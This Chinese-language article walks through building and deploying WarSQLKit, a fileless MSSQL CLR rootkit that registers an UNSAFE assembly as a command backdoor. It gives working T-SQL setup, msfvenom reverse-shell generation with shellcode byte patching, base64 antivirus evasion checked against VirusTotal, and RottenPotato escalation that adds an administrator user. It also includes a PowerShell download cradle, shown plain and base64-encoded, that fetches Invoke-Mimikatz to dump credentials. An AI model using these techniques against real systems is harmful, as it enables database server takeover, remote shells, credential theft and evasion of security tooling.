MSSQL安全审计文件执行Rootkit-WarSQLKit
0x00 前言
在本文中,我们将处理一个很长时间以来一直待解决的问题:MSSQL Rootkit。到目前为止,针对MS-SQL所描述的大多数命令执行都是调用“ xp_cmdshell ”和“ sp_OACreate ”存储过程的。因此,如果在没有xp_cmdshell和sp_OACreate存储过程的MSSQL服务器上拥有“ sa ”帐户或任何具有“ sysadmin ”权限的用户帐户,我们是否将停止渗透该系统?
当然,我们不应该放弃。在本文中将介绍如何获取具"xp_cmdshell”,“ sp_OACreate”,“ sp_OAMethod”的sysadmin权限的帐户.
WarSQLKit Github: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit
此工具用于捕获具有“系统管理员权限”和“ xp_cmdshell”,“ sp_OACreate”,“ sp_OAMethod”等权限的帐户。
WarSQLKit命令示例:
EXEC sp_cmdExec 'whoami'; => Any Windows command EXEC sp_cmdExec 'whoami /RunSystemPriv'; => Any Windows command with NT AUTHORITY\SYSTEM rights EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add" /RunSystemPriv'; => Adding users with RottenPotato (Kumpir) EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'; => Adding user to localgroup with RottenPotato (Kumpir) EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'; => (Powershell) with RottenPotato (Kumpir) EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x64 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\SYSTEM, RC4PASSWORD=warsql EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'; => x86 Meterpreter Bind Connection with NT AUTHORITY\SYSTEM EXEC sp_cmdExec 'sp_Mimikatz'; select * from WarSQLKitTemp => Get Mimikatz Log. Thnks Benjamin Delpy :) EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'; => Download File EXEC sp_cmdExec 'sp_getSqlHash'; => Get MSSQL Hash EXEC sp_cmdExec 'sp_getProduct'; => Get Windows Product EXEC sp_cmdExec 'sp_getDatabases'; => Get Available Database
WarSQLKit.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKit/bin/Debug/WarSQLKit.dll
WarSQLKit_Compressed.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKit/bin/Debug/Confused/WarSQLKit.dll
WarSQLKitMinimal.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKitMinimal/bin/Debug/WarSQLKitMinimal.dll
Meterpreter CSharp (C#) Shellcode: https://github.com/EPICROUTERSS/Build-Meterpreter-CSharp-Shellcode
Meterpreter CSharp(C#)Base64编码的Shellcode:https://github.com/EPICROUTERSS/Build-Encoded-Meterpreter-C-Shellcode
OSCMDEXEC_CLR: https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_clr.sql
0x01 什么是CLR
CLR(公共语言运行库)提供了.NET Framework的命令执行环境,该环境在MSSQL Server 2005中可运行,同时也可以在MSSQL Server 2016中运行。换言之,它使我们能够通过MSSQL处理和运行.NET Framework对象。可以使用MSSQL CLR导入任何.NET DLL或使用T-SQL执行命令。
0x02 什么是基于CLR的DLL
基于CLR的DLL文件;MsSQL 的 C#、VB.NET等。使用其中一种 .NET 语言,存储过程允许 T-SQL 语句在 .NET 框架中运行,如触发器等。有了它可创建一个基于DLL的CLR,可以通过将存储过程或类似的 T-SQL 语句从 MSSQL 发送 DLL 文件来使这些语句正常执行。我想,如果可以通过MSSQL运行任何.NET对象,那么我就可以在操作系统上运行任何我想要运行的代码。事实上,进一步来说,可利用.NET的全部功能来构建自己的rootkit。那么,我们如何做到这一点呢?
0x03 创建基于CLR的DLL
首先,我们将从Visual Studio创建一个项目。我们转到“新建项目”>“ SQL Server”>“ SQL Server数据库项目”。
创建我们的项目后,右键单击并选择添加>新建项目> SQL CLR C#> SQL CLR C#存储过程。
这些步骤之后,基于CLR的DLL现在已准备就绪。现在我们可以开始编译了。
0x04 DLL命令处理程序
我们需要编写一种方法来处理从存储过程到 DLL 的命令。创建此参数的原因是我们必须运行通过 MSSQL 传输的操作系统命令。
我定义了一个静态方法,称为"cmdExec",带有"cmd"参数。此静态方法中的命令将传输到"RunCommand"静态方法。这允许我们运行作为输入发送的命令,通过进程及其参数并返回结果。
使用发送到RunCommand方法的命令,我们从Process()类创建一个进程,并通过cmd.exe运行该进程,然后通过MSSQL将输出返回给我们。
0x05 程序集 - 存储过程 - 可信关系
使用SQL CLR C#存储过程,我们创建了.NET DLL的基本版。但是,仅dll无法正常运行。我们需要通过T-SQL在MSSQL中注册DLL来创建存储过程。并同时允许通过MSSQL来创建和执行基于CLR的DLL。默认情况下,MSSQL Server 2016不运行基于CLR的DLL文件,它已被禁用。我们使用以下代码来更改此设置。
sp_configure 'clr enabled', 1 GO RECONFIGURE GO
通过上面的代码,我们启用了“ clr enabled ”参数。完成此过程后,可以将我们的 DLL 文件作为程序集添加到 MSSQL。
为了确认可信任关系; 确保将MSSQL数据库中的数据库标记为安全。标记为安全的数据库可以访问对象,网络和进程资源。通过Trustworthy,我们可以使用以下代码将数据库标记为安全。
ALTER DATABASE master SET TRUSTWORTHY ON;
完成此过程后,我们需要将DLL文件作为程序集引入到MSSQL中。这是最重要的一部分。有3种不同的方法来在MSSQL中定义程序集(.NET DLL)。因此,我们可以使用3种不同的方法将我们创建的DLL文件加载到数据库中。
a.DLL 文件作为字节流加载到 MSSQL
我们可以将创建的DLL文件作为字节流加载到MSSQL中。为此,我们需要使用File.ReadAllBytes()类调用在另一个项目中创建的DLL文件
我读取了在单独的项目字节流类型中创建的DLL文件,并将其输出到byteStream.txt中。现在,我们有了DLL文件的字节流。使用此字节流,我们可以将DLL注册到程序集中,而无需在MSSQL中加载任何DLL。为此,我们将需要执行一些SQL语句。
注意:使用此方法,我们仅将 DLL 文件保存为数据流,而无需在 MSSQL 中创建任何 DLL 文件。这样,我们的 Rootkit 将完全无文件执行。
CREATE ASSEMBLY sp_cmdExec FROM 0x4D5A90000300000004000000FFFF0000B800000000000 WITH PERMISSION_SET = UNSAFE GO
使用CREATE ASSEMBLY创建一个名为“ sp_cmdExec”的程序集。然后,使用FROM命令选择要输出到文件的字节流。这里要注意的最重要的一点是:在我们输出到文本文件的字节流的开头没有“ 0xbasında”。当将视频流粘贴到我们的文本文件中时,它将无法正常运行。因此,在写入0x之后,我们将字节流粘贴到文本文件中。使用PERMISSION_SET = UNSAFE参数,我们指定DLL可以访问不安全的资源(也就是说,我们将仅运行sql和t-sql语句)。如果我们将SAFE参数设置为参数并尝试执行CMD命令,则将抛出错误“ System.Security.HostProtectionException cak”,而我们的cmd命令将无法正常执行。
如上图所示,SAFE仅处理数据库。EXTERNAL_ACCESS允许我们访问文件,注册表和网络。UNSAFE允许我们访问本机DLL,COM DLLS对象和其他不安全资源。
b.使用SQL Server Management Studio将DLL文件转换为MSSQL
在数据库中,访问系统数据库和主数据库。然后从“可编程性”菜单中右键单击“Assembly”,然后选择“New Assembly”。
你可以通过从浏览菜单中选择我们创建的DLL文件来注册我们的DLL。完成此过程后,可以看到我们的DLL已添加到“程序集”菜单中。
从上面的截图中可以看出,名为WarSQLKit 的DLL文件已保存到程序集中。
c.服务器中的目录调用DLL
CREATE ASSEMBLY sp_cmdExec FROM 'C:\ProgramData\WarSQLKit.dll' WITH PERMISSION_SET = UNSAFE GO
如果我们通过任何其他方式将DLL加载到MSSQL服务器上,我们也可以从目录中调用DLL。一旦加载了DLL文件,我们就可以将其从服务器中删除。即使我们从服务器中删除DLL,我们的程序集也将继续运行。
在程序集中注册DLL后,使用3种方法中的任何一种,我们可以调用在DLL中创建的CmdExec静态方法,或发送一个过程调用。为此,我们最终需要一个存储过程。使用以下命令,我们可以创建我们的存储过程。
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec GO
现在我们都准备好了,让我们开始运行命令。更详细的是CREATE PROCEDURE命令“ sp_cmdExec”创建了一个名为sp_cmdExec的存储过程。现在,我们将使用“ sp_cmdExec”而不是“ xp_cmdshell”. 我们还使用@Command [nvarchar](4000)定义了命令参数。由于Nvarchar最多支持4000个字符,因此我们可以运行或显示4000个字符的命令。我们将调用WarSQLKit,使用EXTERNAL NAME参数创建的DLL的命名名称,名为StoredProcedures的公共部分类以及名为CmdExec的公共静态void方法。
0x06 运行Windows命令
EXEC sp_cmdExec'net user'; #列出Windows本地用户列表。我们不再需要像xp_cmdshell和sp_OACrate这样的存储过程。我们可以将所有已知的Windows命令发送到操作系统。
0x07 C#-兼容MSSQL的Meterpreter ShellCode
到目前为止,我们所做的与基本的xp_cmdshell执行没什么不同。现在我们可以切换到rootkit部分。在上文中我已提到过我们可以在MSSQL中使用.NET Framework的功能。因此,我们需要稍微修改一下DLL文件,然后将Meterpreter Shellcode嵌入到其中。因此,我们可以使用在sp_cmdExec存储过程中定义的参数来获得Meterpreter会话。
通过从Kali操作系统访问终端屏幕的msfvenom命令来创建与csharp兼容的shellcode。为此,我们可以使用以下命令。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.129 LPORT=4444 EXITFUNC=none -f csharp --platform windows
我们创建的与csharp兼容的shellcode将是323个字节的代码。要编译和运行Meterpreter代码,我们需要向DLL中添加一个新类。我创建了一个名为MeterpreterBuilder的类。我们为此类定义了一个名为SaveReverseMeterpreter()的公共void方法。在此方法中,我们定义了运行shellcode的条件要求。
然后,我们在MeterpreterBuilder类中全局定义以下参数。
本文中已经准备好我们运行的Shellcode。当我们想直接通过sp_cmdExec运行它时,我们有两个问题需要解决。1. MSSQL(sqlservr.exe)不允许我们运行此Shellcode。2.每次我们从msfvenom生成csharp shellcode并更新我们的DLL时,都会给我们带来很大的麻烦。因此,我们需要首先解决这些问题。
若要运行Shellcode,我们需要使用.NET Framework的内置编译器(无需Visual Studio)以exe形式构建代码,并将其作为单独的进程运行。由于我们不能每次都处理msfvenom和shellcode,因此需要通过定义字符串ip和字符串端口参数并使用存储过程中的IP-port参数更新shellcode来编译SaveReverseMeterpreter()方法。对于步骤1,您可以阅读标题为"使用.NET Framework( 不戴Visual Studio)C语言的部分。在步骤2中,我们将方法更新为publicstaticvoid SaveReverseMeterpreter(字符串ip,字符串端口)。。现在,SaveReverseMeterpreter方法将在调用时提示我们输入IP和端口。我们将根据输入的IP和端口信息更新shellcode。我们可以为此使用以下代码。
var ipOctetSplit = ip.Split('.'); byte octByte1 = Convert.ToByte(ipOctetSplit[0]); byte octByte2 = Convert.ToByte(ipOctetSplit[1]); byte octByte3 = Convert.ToByte(ipOctetSplit[2]); byte octByte4 = Convert.ToByte(ipOctetSplit[3]); int inputPort = Int32.Parse(port);
我们根据“ ...”分割作为参数发送的IP 。然后将IP分配给4个八位位组。通过为每个八位位组定义一个字节类型变量,我们将以Convert.ToByte作为字符串的IP八位位组转换为字节型。
我们为端口执行的过程有些不同。我们将端口解析为Int32。原因是该端口仅包含数字。没有标点符号。此外,端口可以对应于大于256的数字。因此,如果将端口定义为4444,则Meterpreter在shellcode中将具有2个字节的值,因为它大于256。由于我们不知道要设置哪个端口号,因此我们将通过查看端口号的大小来决定应设置哪个数字。
byte port1Byte = 0x00; #我定义了2个字节的0x00。 byte port2Byte = 0x00; if (inputPort > 256) { int portOct1 = inputPort / 256; int portOct2 = portOct1 * 256; int portOct3 = inputPort - portOct2; int portoct1Calc = portOct1 * 256 + portOct3; if (inputPort == portoct1Calc) { port1Byte = Convert.ToByte(portOct1); port2Byte = Convert.ToByte(portOct3); } } else { port1Byte = 0x00; port2Byte = Convert.ToByte(inputPort); }
我定义了一个if条件来检查我们设置为Int32的端口值。因此,如果输入的端口号大于256,我们的条件将起作用,并且我们将进行计算。如果端口大于256,则将第一个输入的端口除以256,然后将结果的数字分配给一个int变量。然后,我们定义一个类型为int的第二个变量来计算乘数和,然后将256乘以从之前一个值获得的int变量值。
在计算乘数之后,我们从设置的端口中减去第二个变量的值,并将其分配给第三个int变量。然后,我们定义另一个if条件,并将输入的端口值与计算得出的端口值进行比较。如果满足条件,则将结果值分配给我们先前定义的字节类型的端口变量。
这部分可能看起来有些复杂。为了清楚起见,我将进行采样。例如,我们希望meterpreter从端口4444返回给我们。在我们的shellcode中,为该端口保留了2个字节的字段,我们需要设置此字段。我们发现数字4444/256 = 17 17 * 256 = 4352。我们发现4444-4352 = 92。因此,我们需要在shellcode中为4444端口定义数字17和92。17字节(十六进制)类型对应于0x11,而92字节类型对应于0x5c。例如,端口57156将为:57156/256 = 223,223 * 256 = 57088、57156-57088 = 68,并且等效项将为0xdf和0x044。在我们的Shellcode中,我们需要将它们分配给与端口值相对应的字节变量。
例如,我们的IP地址192.168.139.129将对应于我们的shellcode中的0xc0、0xa8、0x8b,0x81。现在我们需要在shellcode中更改这些变量。使用我指定的参数,我们将从msfvenom生成的shellcode将始终以相同的变量顺序生成。字节数组中的IP和端口信息如下。
我们可以看到在字节数组编号174、175、176和177中设置的IP地址被保留。我在上面提到了端口计算。我们可以看到端口4444对应于17和92。我们的端口位于181和182字节。更改字节数组中作为参数发送的IP和端口的字段就足够了。
buf[174] = octByte1; buf[175] = octByte2; buf[176] = octByte3; buf[177] = octByte4; buf[181] = port1Byte; buf[182] = port2Byte;
如上所述,我们在Shellcode中设置IP和端口值。到目前为止,一切正常。现在,我们需要返回StoredProcedure.cs并进行定义,该定义将调用我们的Meterpreter shellcode。因此,当我们从MSSQL运行类似“ EXEC sp_cmdExec'sp_meterpreter_reverse_tcp 192.168.139.129 4444“的命令时,请调用我们的SaveReverseMeterpreter(字符串ip,字符串端口)方法。
通过在CmdExec中定义if条件,如果发送的命令包含“ sp_meterpreter_reverse_tcp”,则应将命令拆分为空格。然后,我们通过调用MeterpreterBuilder类来设置Ip和Port值,从而调用SaveReverseMeterpreter()方法。现在我们的代码已经准备好了。我们将在不使用Visual Studio的情况下使用.NET Framework,在MSSQL服务器上编译这些代码,并构建Meterpreter exe。这将绕过运行shellcode的“ sqlservr.execalstlrma”
0x08 使用.NET Framework从MSSQL编译C#代码(不使用Visual Studio)
在本节中,我将把Meterpreter的shellcode转换为csharp(.cs)文件,将阐述在SQL Server上运行的代码。需要重新排列在第7部分中创建的shellcode作为控制台应用程序。
我将以控制台应用程序的形式将shellcode填充到var(string)类型的变量中。并需要将此字符串数据写入到我们在SQL Server中具有写权限的目录中。我们可以在此过程中使用以下代码。
File.WriteAllText(@"C:\\ProgramData\\meterpreter_reverse_tcp.cs", strMtr);
当我们从SQL Server调用方法时,它将名为meterpreter_reverse_tcp.cs的shellcode保存到C:\ProgramData目录中。保存到SQL Server的文件如下图所示。
我们需要编译在没有Visual Studio的情况下注册到SQL Server的csharp(.cs)文件。为此,只需要在服务器上安装.net框架即可。由于我们已经在研究MSSQL,因此MSSQL具有.Net Framework依赖性。换句话说,服务器上有.Net Framework。在服务器上有.Net Framework,但是有那些版本?我们并不知道。要测试版本,我们正在编写另一种方法,如下图所示。
通过创建类型<string>的通用列表,我们将“C:\Windows\Microsoft.NET\Framework”文件夹中的子目录名称填充到通用列表中。服务器上安装的所有.Net Frameworks都位于此目录中。有了这些信息之后,我们现在就可以构建csharp(.cs)文件。
“ Net csc.exe”文件位于.Net Framework的安装目录中。csc.exe是.net框架附带的csharp编译器。使用此exe,我们可以编译任何.cs文件,而无需使用Visual Studio。我在rootkit中使用的示例编译过程如下。
CMD.EXE / C参数运行所在的目录中安装最新的.NET Framework版本的CSC.EXE ,“/unsafe /platform:x86”使用x86架构来编译,编译的可执行文件输出到“C:\ProgramData\“目录下。命名使用随机名称,然后编译使用随机名称保存在 C:\ProgramData\kaynak 的meterpreter_reverse_tcp.cs文件。
首先“File.Delete(@"C:\ProgramData\" + randomFileName + @"_reverse.cs");” 要求从服务器中删除使用File.Delete创建的.cs文件。然后是(@"C:\Windows\System32\cmd.exe", @" /c C:\ProgramData\" + randomFileName + @"_reverse.exe");”最后,我想运行使用BuildRunMeterprete代码和cmd.exe / c参数创建的Meterpreter exe。
注意:我们需要使用msfconsole的exploit/multi/handler设置windows/meterpreter/reverse_tcp的有效负载,并等待建立连接。 WarSQLKit中通过此方法定义了4个Meterpreter代理。在WarSQLKit中可以使用以下Meterpreter有效负载。
windows/meterpreter/reverse_tcp windows/meterpreter/bind_tcp windows/x64/meterpreter_reverse_tcp windows/meterpreter/reverse_tcp_rc4
提示:我们创建的Meterpreter shellcode将被许多防病毒软件拦截并阻止运行。因此,在下一节“ Meterpreter Shellcode Anti技术”中,我们需要继续介绍如何从防病毒中隐藏我们的Shellcode。
0x09 Meterpreter Shellcode Anti(bypass)技术
不幸的是,我们经典shellcode会被防病毒软件捕获。因此,当我们在考虑如何从防病毒程序中隐藏shellcode时,我们想到了Tolga Sezer用base64编码shellcode并通过将base64转换为shellcode来运行它的方法。
怎么会呢?当我们使用base64对shellcode进行编码时,如何自动更改IP和端口值?尽管这些似乎有些问题,但我们将看到可以用一些简单的方法来解决这一点。首先,我们必须获取shellcode的原始csharp类型和base64编码应用程序,然后更改IP和端口值以再次获取raw,然后应用base64编码并检查更改的部分。因为和前面的示例一样,当我们更改IP和端口重合的字节数组时,base64崩溃了。当然,存在将base64分配到6位四字节数组的问题。因此,我对shellcode的base64输出进行了详尽的回顾。首先,我们应该看一下已编码的shellcode的基本代码。
通过更改IP和端口信息,当我将base64编码重新应用于shellcode时,我看到“ wKiLhmgCANkD ”字符已更改。解码此部分时,我看到“ c0 a8 8b 86 68 02 00 d9 03”。知道此解码值分别对应于“ 192.168.139.134 104 2 0 217 3sır”。换句话说,当我们更改IP和端口时,需要正确设置9个字节以使base64正常运行。前4个字节对应于IP,后2个字节对应于端口。
我们已经为名为shellCodeRaw的字符串变量定义了一个固定的base64值。在不破坏base64的情况下,我们不应更改字符串中输入的IP和端口值。为此,我们需要一个9字节的数组。
我为输入的IP和端口值创建了一个9字节的新数组。前4个字节代表我们设置的IP地址,后2个字节代表端口。当我们使用base64对这9个字节的数组进行编码时,它不会破坏shellcode的base64状态。
我定义了一个名为string和s3的变量。将9字节数组转换为base64字符串。现在,我们有一个与IP和端口变量相对应的base64值。然后定义一个名为newShellCode的字符串变量。通过Replace,我将KwKiLhmgCANkD ile的值更改为我们创建的9字节数组的base64版本。
shellcode的base64已经准备好了。现在它将自动更正输入的IP和端口值,并将它们转换为base64以创建新的base64值。默认情况下,我们无法运行此base64。因此,我们将通过在运行时将base64值转换为字节数组来运行Shellcode。
在此过程中,我们可以在之前定义的“ funcAddr”和“ Marshal.Copy”字段中更改变量名称。
让我们编译CSharp(.cs)代码,创建一个exe,并检查shellcode的捕获状态。我为两个应用程序创建了不同的控制台应用程序。通过测试安装来创建这些控制台应用程序在线防病毒站点。尽管我知道virustotal正在与反病毒供应商共享已发送的应用程序,但我还是安装了它以进行演示和基准测试。
经典字节数组类型Shellcode测试结果
Jotti(5/18):https://virusscan.jotti.org/en-US/filescanjob/kefjrqh37l
NoDistribute(6/32):https://nodistribute.com/result/fNvFlayZxHchAizjO3o4n
VirusTotal (11/60)::https://www.virustotal.com/#/file/6cf4dec3dc1dc91a21e17a1e3ca106d7a4ebd4fd23b96de71c9490bf8d24897d/detection
Base64编码ShellCode的测试结果
Jotti (1/18): https://virusscan.jotti.org/en-US/filescanjob/uesbd8p86z
NoDistribute (1/32): https://nodistribute.com/result/W1sUCXO4znfEiITJjhbx6
VirusTotal (3/64): https://www.virustotal.com/#/file/4f9c60b05235dde6e165fa71fa15c6aedbefeb7ef91138c569fe118eb15a2b33/detection
目前,我们仅适用Eset技术,但是,可以使用不同的方法。但基本上,这是我在Rootkit中使用的方法。
0x10 通过RottenPotato(Kumpir.exe)提升权限
在本节中,我假设一切准备就绪。默认情况下,我们已攻击的SQL Server正在以“ NT Service \ MSSQLSERVER”权限运行。换句话说,NT服务管理正在运行一个虚拟帐户类型,该虚拟帐户类型与服务帐户的名称相同。这是Windows操作系统中鲜为人知的权限类型。我们需要从这种类型的权限提升到“ AUT NT AUTHORITY \ SYSTEM”的权限。我已经写了有关提升MS-SQL 2016中的权限文章:http://eyupcelik.com.tr/guvenlik/491-windows-server-ve-mssql-server-2016-privilege-escalatio
通过使用RottenPotato,我们可以执行特权权限升级。但是,Rottenpotato可获得一个Meterpreter会话,并使用隐藏功能来增加此Meterpreter会话的权限。我不喜欢这样,因为我希望在创建的存储过程中输入操作系统命令(而不是Meterpreter会话)能够获得“ SYSTEM”权限。为此使用的Rottenpotato应用程序必须进行一些修改。经过此修改,Rottenpotato被重命名为“ Kumpir
我必须将Kumpir作为字节流嵌入到我们的Rootkit(WarSQLKit)中。当使用“ / RunSytemPriv”参数将任何命令传递到sp_cmdExec存储过程时,它将以exe的形式抛出kumpir.exe的字节流,传入的脚本将通过kumpir.exe传递给系统,并返回命令输出。现在,让我们看看如何传输kumpir字节流
我为Kumpir.exe创建了一个类。在KumpirBytes()方法中定义了一个名为hex的字符串。在此字符串中,定义了kumpir.exe的字节流。然后,我需要将此字节流导出为exe。
我用File.WriteAllBytes导出了Kumpir.exe。但是我有这样的问题,kumpir.exe(Rottenpotato)有3个依赖文件。这些文件是“ Microsoft.VisualStudio.OLE.Interop.dll”,“ NHttp.dll”和“ SharpCifs.dll”。单独读取和输出每个文件作为字节流,然后导出和删除每条命令,将是一项非常长的工作。使用ILMerge,我们将这些依赖项与kumpir.exe合并。但是结果仍然令人差强人意,因为Kumpir.exe的大小已达到727 KB。 727 KB的字节流也将非常大。此外,WarSQLKit.dll(Rootkit)导出的文件大小也非常大。
我们用mpress压缩Kumpir.exe。727 KB kumpir.exe文件已降至283 KB。我们将283 KB的kumpir.exe填充到十六进制可变字节流中。然后,使用“ File.WriteAllBytes uz”,将Kumpir.exe输出到C:\ProgramData目录中。在正常情况下,727 KB是完全够的。它没有被任何防病毒软件捕获。但是,我们压缩的Kumpir.exe文件只有283 KB,只有被Avira可以捕获。 Avira似乎有害,因为Mpress中使用了压缩技术。
参考链接:https://nodistribute.com/result/1jYc9lBu0pqFPg53nm4
0x11 通过Mimikatz获取会话信息
我们将在渗透测试中执行所有这些步骤。但是,由于我们的主要目标是接管域控制器,因此我们需要捕获“ Mimikatz Clear,带有明文密码或最坏的是NTLM密钥。为此,我创建了一个名为RunMimikatz()的方法。我们的应用程序将从Powersploit的GitHub中提取Mimikatz的Powershell模块,并将结果返回给我们。我们可以使用以下代码进行处理。
“Powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m”
到目前为止,一切都还好。但是有一个问题,这个powershell代码可被捕获。因此,我们需要将其转换为base64。
“powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==”
我们的Powershell代码的base64版本将如上所述。不幸的是,在这部分之后,我们面临着不同的问题。我们通过MSSQL运行的Powershell代码没有输出给我们。我们无法获得输出的原因是因为nvarchar不能向我们返回超过4000个字符。Mimikatz的输出将远远大于4000个字符。当我在基于Windows Server 2016的用户登录的MS-SQL Server 2016上运行命令时,mimikatz输出大约22000多个字符的输出。因此,WarSQLKit.dll返回错误消息,因为我无法获得大于4000个字符的输出。为了解决该问题,我决定将Mimikatz输出注册到名为imi mimi.log的临时目录中。对于Powershell编码器 您可以使用https://www.powershellencoder.com。
“RunMimikatz("cmd.exe", "/c powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA== > C:\\\\ProgramData\\\\mimi.log 2>&1");“
通过在RunMimikatz方法末尾输入值为“> C:\\\\ProgramData\\\\mimi.log 2>&1”,将输出保存到C:\ProgramData目录中,文件名为mimi.log。关键是,我为每个目录使用了4个反斜杠。对于C#字符串的值,2反斜杠表示1反斜杠。当代码传递给powershell时,它将剩余的2个反斜杠值评估为1个反斜杠。因此,当传输到powershell时,4个反斜杠值表示1个反斜杠。我花了大约2-3个小时才找到并解决了这个问题。
使用上面的代码序列,我们通过调用powershell运行Powersploit的Mimikatz模块,并将其注册到C:\ProgramData目录中的mimi.log。我们可以使用命令“ type C:\ProgramData\mimi.log”读取此日志文件。不幸的是,我们不能使用Type命令读取它,因为如上所述,我们的mimi.log文件大于4000个字符。当我想到如何读取它时,我发现可以通过这种方式来解决此问题。我们可以通过DLL将保存的mimi.log文件输出到临时表中。因此,使用select命令,我们可以检索表中的数据,即mimikatz日志。要将结果数据输出到临时表中,我们需要创建一个sqlCommand。
我创建了一个名为GetMimiLog()的方法。我在此方法中添加了2条SQL命令。对于我们的第一条Sql命令,“IF OBJECT_ID('WarSQLKitTemp')IS NOT NULL DROP TABLE WarSQLKitTemp" + Environment.NewLine + "CREATE TABLE dbo.WarSQLKitTemp(mimiLog text);” 输入SQL语句。用这句话,如果有一个名为S WarSQLKitTemp ve的表并且它不为空,并希望将其删除。然后,我们创建一个名为WarSQLKitTemp的表和一个名为mimiLog的文本表。
然后,我创建一个名为mimiLogStr的字符串变量,并通过读取mimi.log文件中的数据将其分配给它。使用参数“insert into WarSQLKitTemp(mimiLog) values(@mimiLog)”,我们还将数据从mimi.log文件输出到WarSQLKitTemp表中。
这是另一个引起注意的地方。 “SqlConnection connection = newSqlConnection("context connection=true")”。对于SqlConnection,我们仅将 “context connection=true”输入为ConnectionString 。我们也没有定义SqlConnection。因为我们的DLL已经在SQL Server上运行,所以我们不需要再次设置诸如数据源,用户ID和密码之类的值。
我们已将mimikatz输出的mimimi.log文件输入到表中。执行完这些命令后,我们可以通过在SQL Server上运行“select * from WarSQLKitTemp”命令来获取mimikatz输出信息。
0x12 文件下载器
对于经典的Rootkit,文件下载器是必需的。为了在WarSQLKit中放置一个File Downloader,因此,我创建了一个名为FileDownloader的类。
我为创建的类定义了一种名为StartDownload(int超时)的方法。并为该方法附带的下载请求创建了WebClient。对于向rootkit的下载请求,我设置了定义“ URL,要保存的目录,超时”。因此,我们将能够将给定地址的文件下载到.Net Framework的WebClient对象指定的目录中。
0x13 WarSQLKit(MSSQL Fileless Rootkit)用户指南
要在SQL Server中定义WarSQLKit.dll,应阅读第5节中标题为“程序集-存储过程-信任关系”的文章。我将根据第5节中的小节继续阐述,从目录alt调用DLL。通过Management Studio连接到SQL Server并运行以下代码。
sp_configure 'clr enabled', 1 GO RECONFIGURE GO ALTER DATABASE master SET TRUSTWORTHY ON; IF (OBJECT_ID('sp_cmdExec') IS NOT NULL) DROP PROCEDURE sp_cmdExec GO IF EXISTS(SELECT * FROM sys.assemblies asmb WHERE asmb.name = N'sp_cmdExec') DROP ASSEMBLY [sp_cmdExec] GO CREATE ASSEMBLY sp_cmdExec FROM 'C:\ProgramData\WarSQLKit.dll' WITH PERMISSION_SET = UNSAFE GO CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec GO
通过此SQL语句,我们创建了一个名为sp_cmdExec的程序集和一个名为sp_cmdExec的存储过程。
”EXEC sp_cmdExec'sp_help';” #通过运行该命令,我们可以看到如何使用WarSQLKit。让我们看一下我们的命令。
“EXEC sp_cmdExec'whoami'; # 通过在操作系统中运行“ whoami”命令,它将向我们显示SQL Server正在运行哪些权限。您可以运行任何命令来代替Whoami命令。我们的命令输出如下。
